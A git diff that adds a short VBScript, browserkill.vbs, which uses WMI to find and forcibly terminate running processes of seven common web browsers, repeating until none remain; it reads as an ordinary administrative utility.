diff --git a/CLIENT_DATA/browserkill.vbs b/CLIENT_DATA/browserkill.vbs new file mode 100644 index 0000000..d7a69ea --- /dev/null +++ b/CLIENT_DATA/browserkill.vbs @@ -0,0 +1,33 @@ +Option Explicit +KillBrowsers() + +Sub KillBrowsers() +'Declare variables + Dim i + Dim wmiSvc,WQL,Processes,Process + Dim arrBrowserProcesses(7) + +'Initialize variables + arrBrowserProcesses(0)="iexplore.exe" + arrBrowserProcesses(1)="chrome.exe" + arrBrowserProcesses(2)="firefox.exe" + arrBrowserProcesses(3)="safari.exe" + arrBrowserProcesses(4)="opera.exe" + arrBrowserProcesses(5)="iron.exe" + arrBrowserProcesses(6)="MicrosoftEdge.exe" + + Set wmiSvc = GetObject("winmgmts:\\.\root\cimv2") + For i = 0 To UBound(arrBrowserProcesses) + wql = "SELECT * FROM Win32_Process WHERE Name='" & arrBrowserProcesses(i) & "'" + Set processes = wmiSvc.ExecQuery(wql) + Do While processes.Count > 0 + For Each process In processes + process.Terminate + Next + WScript.Sleep 200 + Set processes = wmiSvc.ExecQuery(wql) + Loop + Next + +End Sub +